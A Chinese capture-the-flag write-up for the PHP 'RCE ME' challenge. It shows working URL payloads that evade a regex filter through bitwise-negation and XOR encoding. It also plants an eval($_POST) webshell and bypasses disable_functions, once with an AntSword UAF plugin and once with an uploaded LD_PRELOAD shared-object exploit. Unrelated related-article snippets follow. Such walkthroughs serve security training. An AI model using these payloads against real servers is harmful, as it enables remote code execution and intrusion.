[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)

2023-11-18

题目进去后,很简单的代码,显然命令执行:
在这里插入图片描述
看到了eval(),应该是用system等函数来实现命令执行。
但是得要先绕过preg_match()中正则表达式的限制,一开始傻乎乎的直接传了个数组,妄图绕过preg_match(),这很显然是不行的。
附上大佬的文章:关于PHP正则的一些绕过方法

现在的问题是要绕过preg_match()中正则表达式的限制并getshell,连上蚁剑或菜刀,考虑异或或者取反绕过。
先构造一个Payload看看phpinfo,看一下PHP版本以及禁用函数:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
// ${_GET}{%ff}();&%ff=phpinfo

也可以用取反urlencode编码绕过:

PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"                                      
%8F%97%8F%96%91%99%90
PS C:\Users\Administrator> 

payload: ?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述
在这里插入图片描述
可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了,先构造个Shell连上看一下:

先构造一个shell连上蚁剑

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
 ?>

在这里插入图片描述
payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);  //别忘了后面的分号
或者:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

检验shell有效
在这里插入图片描述
上蚁剑,发现一个flag文件(空的),一个readflag文件
在这里插入图片描述
需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell。
在这里插入图片描述
所以这里需要绕过这个disable_functions,并执行命令。

方法一:想到蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF
在这里插入图片描述
运行得到终端,运行/readflag获得Flag:
在这里插入图片描述
方法二:利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
参考链接:https://www.anquanke.com/post/id/175403
EXP地址
具体请参考出题人博客,现在上传文件开始劫持:
在/var/tmp/目录存在上传权限,上传我们的exp:

上传这两个文件:
在这里插入图片描述
然后需要重新再构造一下payload,我这就直接用网上的异或payload:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

即为

?code=${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a'])
// assert(eval($_POST['a']))

包含我们的exp执行命令

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

执行得到flag:
在这里插入图片描述
参考:https://blog.csdn.net/mochu7777777/article/details/105136633

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function) 的相关文章

  • React 组件通讯

    目录 1 组件通讯 概念 1 组件的特点 2 知道组件通讯意义 总结 2 组件通讯 props 基本使用 1 传递数据和接收数据的过程 2 函数组件使用 props 3 类组件使用 props 总结 3 组件通讯 props 注意事项 1
  • Mybatis的缓存(实例)

    目录 概念 实例 Mybatis中的一级缓存 清空一级缓存的时机 Mybatis中的二级缓存 总结 gt 项目源码 概念 缓存 存于内存中的临时数据 使用缓存优点 减少和数据库的交互次数 提高执行效率 缓存适用于 经常查询并且不经常改变的
  • GO连接数据库--踩坑(超详细)

    当使用go语言对数据进行连接时需要几部操作 1 数据库侧 需要允许远程连接 具体操作方法详见 本地主机连接阿里云数据库 自建数据库 排雷 秋为春的博客 CSDN博客 2 GO侧 1 需要引入go sql driver驱动 常见的引入方法有两
  • FPGA同步复位和异步复位的区别以及设计处理

    FPGA复位信号的设计处理 同步复位 同步复位 同步复位信号跟触发器的时钟是同步的 只有在时钟的跳变沿到来之后才会生效 对应verilog代码如下 这种写法会被编译器综合成同步复位 always posedge clk begin if r
  • 5-C语言-三子棋

    问题 用C语言实现三子棋 思路 整体思路 1 肯定先出现菜单 之后在判断 是否退出 出现菜单 肯定就会有选择 不同的选择 进入不同的函数 而选择的话 用switch实现分支选择 2 实现基本思路 选择1 进入游戏 选择2退出游戏 其他情况
  • Altium 不同原理图之间的网络标号没有连线的问题 error:Duplicate Net Names

    今天画板子 发现同一个工程下不同原理图之间的相同网络标号导入到PCB文件之后 pin没有连接在一起 很奇怪 重复导入号几次都是同样的结果 后来发现原理图中会报错 error Duplicate Net Names 搜索后发现 随后在Proj

随机推荐

  • vmware磁盘在线扩容后不显示扩容后的空间(无需重启)

    简单粗暴 增加磁盘容量后无法显示增加的空间容量 查看磁盘空间 饶了三圈寻他千百度 我用的是这条命令 分区名称自行对应sda sdb echo 1 gt sys block sda device rescan 通过总线标识刷新 ll sys
  • 找了一堆Python教程自学,为何还是看不进去!那是因为你根本没找对方法

    Python学不进 这个系列我今天就再带着大家梳理一遍 虽然我之前也讲过这系列 因为 有人还是不会啊 我想说的就两个点 第一 学Python以实用性为导向 第二 理解和运用 学Python死记硬背作用不大的 从来没听过哪个程序员是靠背学会编
  • 什么是机器学习

    转载 博文计算机的潜意识之从机器学习谈起 原文请点击链接 https www cnblogs com subconscious p 4107357 html 强烈推荐一篇关于机器学习入门导论的博文 里面的内容非常详实 加上作者的理解和感悟精
  • Windows7上安装pytorch1.11后报api-ms-win-core-path-l1-1-0.dll错误的解决方法

    在Windows7上通过Anaconda安装PyTorch v1 11 0后 执行程序时报如下图所示错误 无法启动此程序 因为计算机中丢失api ms win core path l1 1 0 dll 尝试重新安装该程序以解决此问题 此Wi
  • Java爬虫与Python爬虫有什么区别

    Java爬虫和Python爬虫是两种常见的网络爬虫实现方式 它们在语言特性 开发环境和生态系统等方面存在一些区别 1 语言特性 Java是一种面向对象的编程语言 而Python是一种脚本语言 Java较为严谨 需要明确定义类 方法和变量 而
  • MDT 2013 从入门到精通之软件自动化部署设置

    因为工作时间原因已经很长一段时间没有更新博客 还请大伙见谅哈 有关MDT系列文章也是很久没有更新了 今天就来谈谈一些常规技巧内容 我们在日常使用MDT部署过程中 很多新手总是纠结于软件的安装问题 总是通过SkipApplications N
  • h5页面loading丝滑小妙招,vue+vant

    1 v if 使用v if tag 1 在data声明一个变量tag 0 请求到参数后tag 1 我会在created重新初始化tag 0 为了保险我还会加一个setTimeout定时器 div class main div data re
  • java项目的远程调试

    我们在工作中可能会遇到这样的场景 有时候有个问题在本地环境不重现开发或者测试环境的问题 而这个问题需要急需解决的情况 更有部分项目在本地无法启动 需要依赖在服务器启动 有时候可以尝试远程调试 我这里用springboot项目 做一下演示 在
  • phpexcel导出

    fileName 亚马逊品类数据 date Y m d fileType xlsx sql select a sku b product typename c category status a gender a sales status
  • 数据库表与表的三种方式

    表和表之间 一般就是三种关系 一对一 一对多 多对多 1 一对一 数据库表中的数据结构 我们用人与车一 一对应的方式来描述一对一的数据表结构 type是区分这条数据是人还是车 master对应是的主人 车的主人是哪个id car对应的是那辆
  • 示波器探头碰人的波形,人碰示波器探头的波形

    如上图所示 如图中 点说明电流恒定 导体切割磁场线 向导线方向切割磁场变强 远离导线切割磁场变弱 则图中 点说明导体不动 但是导线电流增大则磁场强度增加 等效成导体往恒定电流磁场切割 导线电流减小则磁场减小 等效成导体往恒定电流磁场反方向切
  • 「 标准 」NTSC、PAL、SECAM 三大制式简介

    NTSC National Televison System Committee 制式 NTSC 电视标准 每秒 29 97 帧 简化为 30 帧 电视扫描线为 525 线 偶场在前 奇场在后 标准的数字化 NTSC 电视标准分辨率为720
  • KubeVela 正式开源:一个高可扩展的云原生应用平台与核心引擎

    来源 阿里巴巴云原生公众号 美国西部时间 2020 年 11 月 18 日 在云原生技术 最高盛宴 的 KubeCon 北美峰会 2020 上 CNCF 应用交付领域小组 CNCF SIG App Delivery 与 Open Appli
  • 信号处理——梅尔滤波器(MFCC)

    信号处理 梅尔滤波器 MFCC 一 概述 在语音识别 Speech Recognition 和话者识别 Speaker Recognition 方面 最常用到的语音特征就是梅尔倒谱系数 Mel scale FrequencyCepstral
  • NoSQL系统的分类

    什么是NoSQL系统 采用最终一致性的数据库系统 统称为NoSQL Not only SQL 系统 根据数据模型的不同 NoSQL系统又分为以下几类 基于键值对的 Memcached Redis 基于列存储的 Bigtable Apache
  • 小米路由器3/3G/4通过串口(ttl)刷机

    准备工作 淘宝购买 USB转TTL CH340模块 杜邦线 排针 https detail tmall com item htm id 525204252260 spm a1z09 2 0 0 19dc2e8doubZVx u blagqs
  • 查看linux下安装了哪些软件

    1 查看是否安装了gcc 命令 rpm ql gcc rpm qa grep gcc 参数 q 询问 a 查询全部 l 显示列表 2 权限 安装和删除只有root和有安装权限的用户才可以进行 查询是每个用户都可以进行操作的 RPM 的介绍和
  • 《Docker 镜像操作》

    Docker 镜像原理 1 Docker 镜像本质是什么 是一个分层文件系统 2 Docker 中一个 centos 镜像为什么只有 200MB 而一个 centos 操作系统的 iso 文件要几个个 G Centos 的 iso 镜像文件
  • IDEA插件-PlantUML

    一 idea安装plantUml插件 在idea中Preferences gt plugins gt Browse repositories gt 搜索 plantUML gt 安装即可 二 通过 brew 安装 Graphviz 安装pl
  • [极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)

    题目进去后 很简单的代码 显然命令执行 看到了eval 应该是用system等函数来实现命令执行 但是得要先绕过preg match 中正则表达式的限制 一开始傻乎乎的直接传了个数组 妄图绕过preg match 这很显然是不行的 附上大佬